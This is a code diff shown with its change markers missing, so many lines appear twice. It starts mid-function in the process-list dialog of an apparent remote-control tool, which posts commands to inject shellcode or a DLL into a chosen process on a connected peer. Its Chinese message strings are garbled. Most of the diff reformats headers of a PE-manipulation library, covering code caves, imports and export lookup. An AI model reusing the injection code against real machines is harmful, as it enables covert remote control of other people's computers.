DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
dwProcessID = data->ID;
dwOffset += sizeof(DWORD);
}
ASSERT(m_pParent);
m_pParent->PostMessageA(WM_INJECT_SHELLCODE, (WPARAM)new std::string(m_ContextObject->PeerName), dwProcessID);
}
@@ -493,32 +493,32 @@ void CSystemDlg::OnPlistInject()
void CSystemDlg::OnPlistAntiBlackScreen()
{
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
if (ListCtrl->GetSelectedCount() != 1)
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
if (ListCtrl->GetSelectedCount() != 1)
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\n<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̡<EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˼ܹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\n<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̡<EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˼ܹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
CString arch;
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
dwProcessID = data->ID;
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
dwProcessID = data->ID;
arch = data->Arch;
dwOffset += sizeof(DWORD);
}
ASSERT(m_pParent);
dwOffset += sizeof(DWORD);
}
ASSERT(m_pParent);
char *arg = new char[300]();
memcpy(arg, m_ContextObject->PeerName.c_str(), m_ContextObject->PeerName.length());
memcpy(arg + 256, arch, arch.GetLength());
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
}

View File

@@ -12,77 +12,78 @@
#define MASK_TO_DWORD(val) ((val < MAX_DWORD) ? (val & MAX_DWORD) : MAX_DWORD)
#define MASK_TO_WORD(val) ((val < MAX_WORD) ? (val & MAX_WORD) : MAX_WORD)
namespace peconv {
namespace peconv
{
/**
Validates pointers, checks if the particular field is inside the given buffer. Sizes must be given in bytes.
\param buffer_bgn : the start address of the buffer
\param buffer_size : the size of the buffer
\param field_bgn : the start address of the field
\param field_size : the size of the field
\return true if the field (defined by its start address: field_bgn, and size: field_size) is contained within the given buffer
(defined by its start address: buffer_bgn, and size: buffer_size).
false otherwise
*/
bool validate_ptr(
IN const void* buffer_bgn,
IN size_t buffer_size,
IN const void* field_bgn,
IN size_t field_size
);
/**
Validates pointers, checks if the particular field is inside the given buffer. Sizes must be given in bytes.
\param buffer_bgn : the start address of the buffer
\param buffer_size : the size of the buffer
\param field_bgn : the start address of the field
\param field_size : the size of the field
\return true if the field (defined by its start address: field_bgn, and size: field_size) is contained within the given buffer
(defined by its start address: buffer_bgn, and size: buffer_size).
false otherwise
*/
bool validate_ptr(
IN const void* buffer_bgn,
IN size_t buffer_size,
IN const void* field_bgn,
IN size_t field_size
);
//-----------------------------------------------------------------------------------
//
// supported buffers:
//
/**
A buffer allocated on the heap of a process, not aligned to the beginning of a memory page.
*/
typedef PBYTE UNALIGNED_BUF;
/**
A buffer allocated on the heap of a process, not aligned to the beginning of a memory page.
*/
typedef PBYTE UNALIGNED_BUF;
/**
A buffer allocated in a virtual space of a process, aligned to the beginning of a memory page.
*/
typedef PBYTE ALIGNED_BUF;
/**
A buffer allocated in a virtual space of a process, aligned to the beginning of a memory page.
*/
typedef PBYTE ALIGNED_BUF;
//
// alloc/free unaligned buffers:
//
/**
Allocates a buffer on the heap. Can be used in the cases when the buffer does not have to start at the beginning of a page.
*/
UNALIGNED_BUF alloc_unaligned(size_t buf_size);
/**
Allocates a buffer on the heap. Can be used in the cases when the buffer does not have to start at the beginning of a page.
*/
UNALIGNED_BUF alloc_unaligned(size_t buf_size);
//
/**
Frees buffer allocated by alloc_unaligned.
*/
void free_unaligned(UNALIGNED_BUF section_buffer);
//
/**
Frees buffer allocated by alloc_unaligned.
*/
void free_unaligned(UNALIGNED_BUF section_buffer);
//
// alloc/free aligned buffers:
//
/**
Allocates a buffer of a virtual memory (using VirtualAlloc). Can be used in the cases when the buffer have to be aligned to the beginning of a page.
*/
ALIGNED_BUF alloc_aligned(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
/**
Allocates a buffer of a virtual memory (using VirtualAlloc). Can be used in the cases when the buffer have to be aligned to the beginning of a page.
*/
ALIGNED_BUF alloc_aligned(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
/**
Frees buffer allocated by alloc_aligned.
*/
bool free_aligned(ALIGNED_BUF buffer, size_t buffer_size=0);
/**
Frees buffer allocated by alloc_aligned.
*/
bool free_aligned(ALIGNED_BUF buffer, size_t buffer_size=0);
//PE buffers (wrappers)
//PE buffers (wrappers)
/**
Allocates an aligned buffer for a PE file.
*/
ALIGNED_BUF alloc_pe_buffer(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
/**
Allocates an aligned buffer for a PE file.
*/
ALIGNED_BUF alloc_pe_buffer(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
/**
Free the memory allocated with alloc_pe_buffer.
*/
bool free_pe_buffer(ALIGNED_BUF buffer, size_t buffer_size=0);
/**
Free the memory allocated with alloc_pe_buffer.
*/
bool free_pe_buffer(ALIGNED_BUF buffer, size_t buffer_size=0);
}; //namespace peconv

View File

@@ -7,21 +7,22 @@
#include <windows.h>
namespace peconv {
namespace peconv
{
/**
Finds cave at the end of the image (extend last section's raw size without extending the full image size)
*/
PBYTE find_ending_cave(BYTE* module_ptr, size_t module_size, const DWORD cave_size, const DWORD cave_charact=IMAGE_SCN_MEM_READ);
/**
Finds cave at the end of the image (extend last section's raw size without extending the full image size)
*/
PBYTE find_ending_cave(BYTE* module_ptr, size_t module_size, const DWORD cave_size, const DWORD cave_charact=IMAGE_SCN_MEM_READ);
/**
Finds cave in the difference between the original raw size, and the raw size rounded to the aligmnent
*/
PBYTE find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD cave_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
/**
Finds cave in the difference between the original raw size, and the raw size rounded to the aligmnent
*/
PBYTE find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD cave_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
/**
Finds cave at the end of the section, that comes from a NULL padding or INT3 padding
*/
PBYTE find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
/**
Finds cave at the end of the section, that comes from a NULL padding or INT3 padding
*/
PBYTE find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
};//namespace peconv

View File

@@ -33,7 +33,7 @@ typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
DWORD BoundImportAddressTableRVA; // RVA to an optional bound IAT
DWORD UnloadInformationTableRVA; // RVA to an optional unload info table
DWORD TimeDateStamp; // 0 if not bound,
// Otherwise, date/time of the target DLL
// Otherwise, date/time of the target DLL
} IMAGE_DELAYLOAD_DESCRIPTOR, *PIMAGE_DELAYLOAD_DESCRIPTOR;
@@ -42,20 +42,21 @@ typedef const IMAGE_DELAYLOAD_DESCRIPTOR *PCIMAGE_DELAYLOAD_DESCRIPTOR;
#include "poppack.h"
#endif
namespace peconv {
namespace peconv
{
/**
Get the Delayload Imports directory. Returns the pointer to the first descriptor. The size of the directory is passed via variable dir_size.
*/
IMAGE_DELAYLOAD_DESCRIPTOR* get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size);
/**
Get the Delayload Imports directory. Returns the pointer to the first descriptor. The size of the directory is passed via variable dir_size.
*/
IMAGE_DELAYLOAD_DESCRIPTOR* get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size);
/**
Fill the Delayload Imports in the given module.
\param modulePtr : the pointer to the module where the imports needs to be filled.
\param moduleBase : the base to which the module was relocated, it may (or not) be the same as modulePtr
\param func_resolver : the resolver that will be used for loading the imports
\return : true if resolving all succeeded, false otherwise
*/
bool load_delayed_imports(BYTE* modulePtr, const ULONGLONG moduleBase, t_function_resolver* func_resolver = nullptr);
/**
Fill the Delayload Imports in the given module.
\param modulePtr : the pointer to the module where the imports needs to be filled.
\param moduleBase : the base to which the module was relocated, it may (or not) be the same as modulePtr
\param func_resolver : the resolver that will be used for loading the imports
\return : true if resolving all succeeded, false otherwise
*/
bool load_delayed_imports(BYTE* modulePtr, const ULONGLONG moduleBase, t_function_resolver* func_resolver = nullptr);
}; // namespace peconv

View File

@@ -7,15 +7,16 @@
#include "peconv/buffer_util.h"
namespace peconv {
namespace peconv
{
/**
Allows to activate the Exception table from the manually loaded module.
For 32-bits the loaded image should enable /SAFESEH linker option,
otherwise the exception handler cannot pass the RtlIsValidHandler() check
when an exception occurs
*/
bool setup_exceptions(IN BYTE* modulePtr, IN size_t moduleSize);
/**
Allows to activate the Exception table from the manually loaded module.
For 32-bits the loaded image should enable /SAFESEH linker option,
otherwise the exception handler cannot pass the RtlIsValidHandler() check
when an exception occurs
*/
bool setup_exceptions(IN BYTE* modulePtr, IN size_t moduleSize);
};

View File

@@ -10,123 +10,124 @@
#include <algorithm>
#include <set>
namespace peconv {
namespace peconv
{
/**
Check if the pointer redirects to a forwarder - if so, return the length, otherwise return 0.
*/
size_t forwarder_name_len(BYTE* fPtr);
/**
get the DLL name without the extension
*/
std::string get_dll_shortname(const std::string& str);
/**
Get the function name from the string in a format: DLL_name.function_name
*/
std::string get_func_name(const std::string& str);
/**
Convert ordinal value to the ordinal string (in a format #[ordinal])
*/
std::string ordinal_to_string(DWORD func_ordinal);
/**
Check if the given string is in a format typical for storing ordinals (#[ordinal])
*/
bool is_ordinal_string(const std::string& str);
/**
Get the ordinal value from the ordinal string (in a format #[ordinal])
*/
DWORD ordinal_string_to_val(const std::string& str);
/**
Convert the function in a format: DLL_name.function_name into a normalized form (DLL name in lowercase).
*/
std::string format_dll_func(const std::string& str);
/**
A class storing the information about the exported function.
*/
class ExportedFunc
{
public:
/**
Converts the name to the normalized format.
*/
static std::string formatName(std::string name);
//! Compares functions' names. If function is defined by an ordinal, compares ordinals. Does not include the DLL name in the comparison.
static bool isTheSameFuncName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
//! Compares functions' DLL names.
static bool isTheSameDllName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
//! Compares functions' names. If function is defined by an ordinal, compares ordinals. Includes the DLL name in the comparison.
static bool isTheSameFunc(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
std::string libName;
std::string funcName;
DWORD funcOrdinal;
bool isByOrdinal;
//default constructor:
ExportedFunc() : funcOrdinal(0), isByOrdinal(false) {}
ExportedFunc(const ExportedFunc& other);
ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal);
ExportedFunc(std::string libName, DWORD funcOrdinal);
ExportedFunc(const std::string &forwarderName);
/**
Check if the pointer redirects to a forwarder - if so, return the length, otherwise return 0.
Compare two functions with each other.
Gives the priority to the named functions: if one of the compared functions is unnamed, the named one is treated as smaller.
If both functions are unnamed, the function with the smaller ordinal is treated as smaller.
Otherwise, the function with the shorter name is treated as smaller.
*/
size_t forwarder_name_len(BYTE* fPtr);
/**
get the DLL name without the extension
*/
std::string get_dll_shortname(const std::string& str);
/**
Get the function name from the string in a format: DLL_name.function_name
*/
std::string get_func_name(const std::string& str);
/**
Convert ordinal value to the ordinal string (in a format #[ordinal])
*/
std::string ordinal_to_string(DWORD func_ordinal);
/**
Check if the given string is in a format typical for storing ordinals (#[ordinal])
*/
bool is_ordinal_string(const std::string& str);
/**
Get the ordinal value from the ordinal string (in a format #[ordinal])
*/
DWORD ordinal_string_to_val(const std::string& str);
/**
Convert the function in a format: DLL_name.function_name into a normalized form (DLL name in lowercase).
*/
std::string format_dll_func(const std::string& str);
/**
A class storing the information about the exported function.
*/
class ExportedFunc
bool operator < (const ExportedFunc& other) const
{
public:
/**
Converts the name to the normalized format.
*/
static std::string formatName(std::string name);
//! Compares functions' names. If function is defined by an ordinal, compares ordinals. Does not include the DLL name in the comparison.
static bool isTheSameFuncName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
//! Compares functions' DLL names.
static bool isTheSameDllName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
//! Compares functions' names. If function is defined by an ordinal, compares ordinals. Includes the DLL name in the comparison.
static bool isTheSameFunc(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
std::string libName;
std::string funcName;
DWORD funcOrdinal;
bool isByOrdinal;
//default constructor:
ExportedFunc() : funcOrdinal(0), isByOrdinal(false) {}
ExportedFunc(const ExportedFunc& other);
ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal);
ExportedFunc(std::string libName, DWORD funcOrdinal);
ExportedFunc(const std::string &forwarderName);
/**
Compare two functions with each other.
Gives the priority to the named functions: if one of the compared functions is unnamed, the named one is treated as smaller.
If both functions are unnamed, the function with the smaller ordinal is treated as smaller.
Otherwise, the function with the shorter name is treated as smaller.
*/
bool operator < (const ExportedFunc& other) const
{
//if only one function is named, give the preference to the named one:
const size_t thisNameLen = this->funcName.length();
const size_t otherNameLen = other.funcName.length();
if (thisNameLen == 0 && otherNameLen > 0) {
return false;
}
if (thisNameLen > 0 && otherNameLen == 0) {
return true;
}
//select by shorter lib name:
int cmp = libName.compare(other.libName);
if (cmp != 0) {
return cmp < 0;
}
if (thisNameLen == 0 || otherNameLen == 0) {
return this->funcOrdinal < other.funcOrdinal;
}
if (thisNameLen != otherNameLen) {
return thisNameLen < otherNameLen;
}
cmp = funcName.compare(other.funcName);
//if only one function is named, give the preference to the named one:
const size_t thisNameLen = this->funcName.length();
const size_t otherNameLen = other.funcName.length();
if (thisNameLen == 0 && otherNameLen > 0) {
return false;
}
if (thisNameLen > 0 && otherNameLen == 0) {
return true;
}
//select by shorter lib name:
int cmp = libName.compare(other.libName);
if (cmp != 0) {
return cmp < 0;
}
/**
Gets a string representation of the variable. Full info about the function: library, name, ordinal.
*/
std::string toString() const;
/**
Gets a string representation of the variable. Short info about the function: only function name or ordinal (if the name is missing).
*/
std::string nameToString() const;
bool isValid() const
{
return (funcName != "" || funcOrdinal != -1);
if (thisNameLen == 0 || otherNameLen == 0) {
return this->funcOrdinal < other.funcOrdinal;
}
};
if (thisNameLen != otherNameLen) {
return thisNameLen < otherNameLen;
}
cmp = funcName.compare(other.funcName);
return cmp < 0;
}
/**
Gets a string representation of the variable. Full info about the function: library, name, ordinal.
*/
std::string toString() const;
/**
Gets a string representation of the variable. Short info about the function: only function name or ordinal (if the name is missing).
*/
std::string nameToString() const;
bool isValid() const
{
return (funcName != "" || funcOrdinal != -1);
}
};
}; //namespace peconv

View File

@@ -14,37 +14,39 @@
#include <vector>
#include <map>
namespace peconv {
namespace peconv
{
/**
Gets the function address by the name. Uses Export Table lookup.
WARNING: doesn't work for the forwarded functions.
*/
FARPROC get_exported_func(PVOID modulePtr, LPCSTR wanted_name);
/**
Gets the function address by the name. Uses Export Table lookup.
WARNING: doesn't work for the forwarded functions.
*/
FARPROC get_exported_func(PVOID modulePtr, LPCSTR wanted_name);
/**
Gets list of all the functions from a given module that are exported by names.
*/
size_t get_exported_names(PVOID modulePtr, std::vector<std::string> &names_list);
/**
Gets list of all the functions from a given module that are exported by names.
*/
size_t get_exported_names(PVOID modulePtr, std::vector<std::string> &names_list);
/**
Function resolver using Export Table lookup.
*/
class export_based_resolver : default_func_resolver
{
public:
/**
Function resolver using Export Table lookup.
Get the address (VA) of the function with the given name, from the given DLL.
Uses Export Table lookup as a primary method of finding the import. On failure it falls back to the default Functions Resolver.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
class export_based_resolver : default_func_resolver {
public:
/**
Get the address (VA) of the function with the given name, from the given DLL.
Uses Export Table lookup as a primary method of finding the import. On failure it falls back to the default Functions Resolver.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
};
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
};
/**
Read the DLL name from the Export Table.
*/
LPSTR read_dll_name(HMODULE modulePtr);
/**
Read the DLL name from the Export Table.
*/
LPSTR read_dll_name(HMODULE modulePtr);
}; //namespace peconv

View File

@@ -17,208 +17,210 @@
#include "peconv/exported_func.h"
#include "peconv/file_util.h"
namespace peconv {
namespace peconv
{
struct DllInfo {
DllInfo()
: moduleBase(0), moduelSize(0), is64b(false)
{
struct DllInfo {
DllInfo()
: moduleBase(0), moduelSize(0), is64b(false)
{
}
DllInfo(ULONGLONG _moduleBase, size_t _moduelSize, bool _is64b, std::string _moduleName)
{
moduleBase = _moduleBase;
moduelSize = _moduelSize;
moduleName = _moduleName;
is64b = _is64b;
shortName = get_dll_shortname(moduleName);
}
DllInfo(const DllInfo &other)
{
moduleBase = other.moduleBase;
moduelSize = other.moduelSize;
moduleName = other.moduleName;
shortName = other.shortName;
is64b = other.is64b;
}
bool operator<(const DllInfo &other) const
{
return this->moduleBase < other.moduleBase;
}
protected:
ULONGLONG moduleBase;
size_t moduelSize;
std::string moduleName;
std::string shortName;
bool is64b;
friend class ExportsMapper;
};
class ExportsMapper
{
public:
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format
\param moduleSize : size of the DLL buffer. If moduleSize == 0, the ImageSize from the PE headers will be used.
\param moduleBase : a base address to which the given DLL was relocated
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, size_t moduleSize, ULONGLONG moduleBase);
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format
\param moduleBase : a base address to which the given DLL was relocated
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, ULONGLONG moduleBase)
{
return add_to_lookup(moduleName, modulePtr, 0, moduleBase);
}
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
Assumes that the module was relocated to the same address as is the address of the given buffer (modulePtr).
(A wrapper for the case if we are adding a DLL that was loaded within the current process.)
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format.
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr)
{
return add_to_lookup(moduleName, modulePtr, reinterpret_cast<ULONGLONG>(modulePtr));
}
/**
Find the set of Exported Functions that can be mapped to the given VA. Includes forwarders, and function aliases.
*/
const std::set<ExportedFunc>* find_exports_by_va(ULONGLONG va) const
{
std::map<ULONGLONG, std::set<ExportedFunc>>::const_iterator itr = va_to_func.find(va);
if (itr != va_to_func.end()) {
const std::set<ExportedFunc> &fSet = itr->second;
return &fSet;
}
return NULL;
}
DllInfo(ULONGLONG _moduleBase, size_t _moduelSize, bool _is64b, std::string _moduleName)
{
moduleBase = _moduleBase;
moduelSize = _moduelSize;
moduleName = _moduleName;
is64b = _is64b;
shortName = get_dll_shortname(moduleName);
}
/**
Retrieve the base of the DLL containing the given function. If not found, returns 0.
*/
ULONGLONG find_dll_base_by_func_va(ULONGLONG func_rva) const
{
// the first element that is greater than the start address
std::map<ULONGLONG, DllInfo>::const_iterator firstGreater = dll_base_to_info.upper_bound(func_rva);
DllInfo(const DllInfo &other)
{
moduleBase = other.moduleBase;
moduelSize = other.moduelSize;
moduleName = other.moduleName;
shortName = other.shortName;
is64b = other.is64b;
}
std::map<ULONGLONG, DllInfo>::const_iterator itr;
for (itr = dll_base_to_info.begin(); itr != firstGreater; ++itr) {
const DllInfo& module = itr->second;
bool operator<(const DllInfo &other) const
{
return this->moduleBase < other.moduleBase;
}
protected:
ULONGLONG moduleBase;
size_t moduelSize;
std::string moduleName;
std::string shortName;
bool is64b;
friend class ExportsMapper;
};
class ExportsMapper {
public:
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format
\param moduleSize : size of the DLL buffer. If moduleSize == 0, the ImageSize from the PE headers will be used.
\param moduleBase : a base address to which the given DLL was relocated
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, size_t moduleSize, ULONGLONG moduleBase);
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format
\param moduleBase : a base address to which the given DLL was relocated
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, ULONGLONG moduleBase)
{
return add_to_lookup(moduleName, modulePtr, 0, moduleBase);
}
/**
Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded).
Assumes that the module was relocated to the same address as is the address of the given buffer (modulePtr).
(A wrapper for the case if we are adding a DLL that was loaded within the current process.)
\param moduleName : name of the DLL
\param modulePtr : buffer containing the DLL in a Virtual format.
*/
size_t add_to_lookup(std::string moduleName, HMODULE modulePtr)
{
return add_to_lookup(moduleName, modulePtr, reinterpret_cast<ULONGLONG>(modulePtr));
}
/**
Find the set of Exported Functions that can be mapped to the given VA. Includes forwarders, and function aliases.
*/
const std::set<ExportedFunc>* find_exports_by_va(ULONGLONG va) const
{
std::map<ULONGLONG, std::set<ExportedFunc>>::const_iterator itr = va_to_func.find(va);
if (itr != va_to_func.end()) {
const std::set<ExportedFunc> &fSet = itr->second;
return &fSet;
if (func_rva >= module.moduleBase && func_rva <= (module.moduleBase + module.moduelSize)) {
// Address found in module:
return module.moduleBase;
}
return NULL;
}
return 0;
}
/**
Retrieve the base of the DLL containing the given function. If not found, returns 0.
*/
ULONGLONG find_dll_base_by_func_va(ULONGLONG func_rva) const
{
// the first element that is greater than the start address
std::map<ULONGLONG, DllInfo>::const_iterator firstGreater = dll_base_to_info.upper_bound(func_rva);
std::map<ULONGLONG, DllInfo>::const_iterator itr;
for (itr = dll_base_to_info.begin(); itr != firstGreater; ++itr) {
const DllInfo& module = itr->second;
if (func_rva >= module.moduleBase && func_rva <= (module.moduleBase + module.moduelSize)) {
// Address found in module:
return module.moduleBase;
}
}
return 0;
/**
Retrieve the full path of the DLL with the given module base.
*/
std::string get_dll_path(ULONGLONG base) const
{
std::map<ULONGLONG, DllInfo>::const_iterator found = this->dll_base_to_info.find(base);
if (found == this->dll_base_to_info.end()) { // no DLL found at this base
return "";
}
const DllInfo& info = found->second;
return info.moduleName;
}
/**
Retrieve the full path of the DLL with the given module base.
*/
std::string get_dll_path(ULONGLONG base) const
{
std::map<ULONGLONG, DllInfo>::const_iterator found = this->dll_base_to_info.find(base);
if (found == this->dll_base_to_info.end()) { // no DLL found at this base
return "";
}
const DllInfo& info = found->second;
return info.moduleName;
}
/**
Retrieve the path of the DLL with the given short name. If multiple paths are mapped to the same short name, it retrieves the first one.
*/
std::string get_dll_path(std::string short_name) const;
/**
Retrieve the path of the DLL with the given short name. If multiple paths are mapped to the same short name, it retrieves the first one.
*/
std::string get_dll_path(std::string short_name) const;
/**
Retrieve the paths of the DLL with the given short name.
*/
size_t get_dll_paths(IN std::string short_name, OUT std::set<std::string>& paths) const;
/**
Retrieve the paths of the DLL with the given short name.
*/
size_t get_dll_paths(IN std::string short_name, OUT std::set<std::string>& paths) const;
/**
Retrieve the full name of the DLL (including the extension) using its short name (without the extension).
*/
std::string get_dll_fullname(std::string short_name) const
{
std::string dll_path = get_dll_path(short_name);
if (dll_path.length() == 0) return "";
/**
Retrieve the full name of the DLL (including the extension) using its short name (without the extension).
*/
std::string get_dll_fullname(std::string short_name) const
{
std::string dll_path = get_dll_path(short_name);
if (dll_path.length() == 0) return "";
return get_file_name(dll_path);
}
return get_file_name(dll_path);
}
/**
Find an Exported Function that can be mapped to the given VA,
*/
const ExportedFunc* find_export_by_va(ULONGLONG va) const
{
const std::set<ExportedFunc>* exp_set = find_exports_by_va(va);
if (exp_set == NULL) return NULL;
/**
Find an Exported Function that can be mapped to the given VA,
*/
const ExportedFunc* find_export_by_va(ULONGLONG va) const
{
const std::set<ExportedFunc>* exp_set = find_exports_by_va(va);
if (exp_set == NULL) return NULL;
std::set<ExportedFunc>::iterator fItr = exp_set->begin();
const ExportedFunc* func = &(*fItr);
return func;
}
std::set<ExportedFunc>::iterator fItr = exp_set->begin();
const ExportedFunc* func = &(*fItr);
return func;
}
void print_va_to_func(std::stringstream &stream) const;
void print_func_to_va(std::stringstream &stream) const;
void print_va_to_func(std::stringstream &stream) const;
void print_func_to_va(std::stringstream &stream) const;
private:
enum ADD_FUNC_RES { RES_INVALID = 0, RES_MAPPED = 1, RES_FORWARDED = 2 };
ADD_FUNC_RES add_function_to_lookup(HMODULE modulePtr, ULONGLONG moduleBase, size_t moduleSize, ExportedFunc &currFunc, DWORD callRVA);
private:
enum ADD_FUNC_RES { RES_INVALID = 0, RES_MAPPED = 1, RES_FORWARDED = 2 };
ADD_FUNC_RES add_function_to_lookup(HMODULE modulePtr, ULONGLONG moduleBase, size_t moduleSize, ExportedFunc &currFunc, DWORD callRVA);
bool add_forwarded(ExportedFunc &currFunc, DWORD callRVA, PBYTE modulePtr, size_t moduleSize);
bool add_to_maps(ULONGLONG va, ExportedFunc &currFunc);
bool add_forwarded(ExportedFunc &currFunc, DWORD callRVA, PBYTE modulePtr, size_t moduleSize);
bool add_to_maps(ULONGLONG va, ExportedFunc &currFunc);
size_t resolve_forwarders(const ULONGLONG va, ExportedFunc &currFunc);
size_t make_ord_lookup_tables(PVOID modulePtr, size_t moduleSize, std::map<PDWORD, DWORD> &va_to_ord);
size_t resolve_forwarders(const ULONGLONG va, ExportedFunc &currFunc);
size_t make_ord_lookup_tables(PVOID modulePtr, size_t moduleSize, std::map<PDWORD, DWORD> &va_to_ord);
protected:
/**
Add a function and a VA into a mutual mapping.
*/
void associateVaAndFunc(ULONGLONG va, const ExportedFunc& func)
{
va_to_func[va].insert(func);
func_to_va[func] = va;
}
protected:
/**
Add a function and a VA into a mutual mapping.
*/
void associateVaAndFunc(ULONGLONG va, const ExportedFunc& func)
{
va_to_func[va].insert(func);
func_to_va[func] = va;
}
/**
A map associating VA of the function with the related exports.
*/
std::map<ULONGLONG, std::set<ExportedFunc>> va_to_func;
/**
A map associating VA of the function with the related exports.
*/
std::map<ULONGLONG, std::set<ExportedFunc>> va_to_func;
/**
A map associating an exported functions with its forwarders.
*/
std::map<ExportedFunc, std::set<ExportedFunc>> forwarders_lookup;
/**
A map associating an exported functions with its forwarders.
*/
std::map<ExportedFunc, std::set<ExportedFunc>> forwarders_lookup;
/**
A map associating an exported functions with its VA.
*/
std::map<ExportedFunc, ULONGLONG> func_to_va;
/**
A map associating DLL shortname with the base(s) at which it was mapped
*/
std::map<std::string, std::set<ULONGLONG>> dll_shortname_to_base;
/**
A map associating an exported functions with its VA.
*/
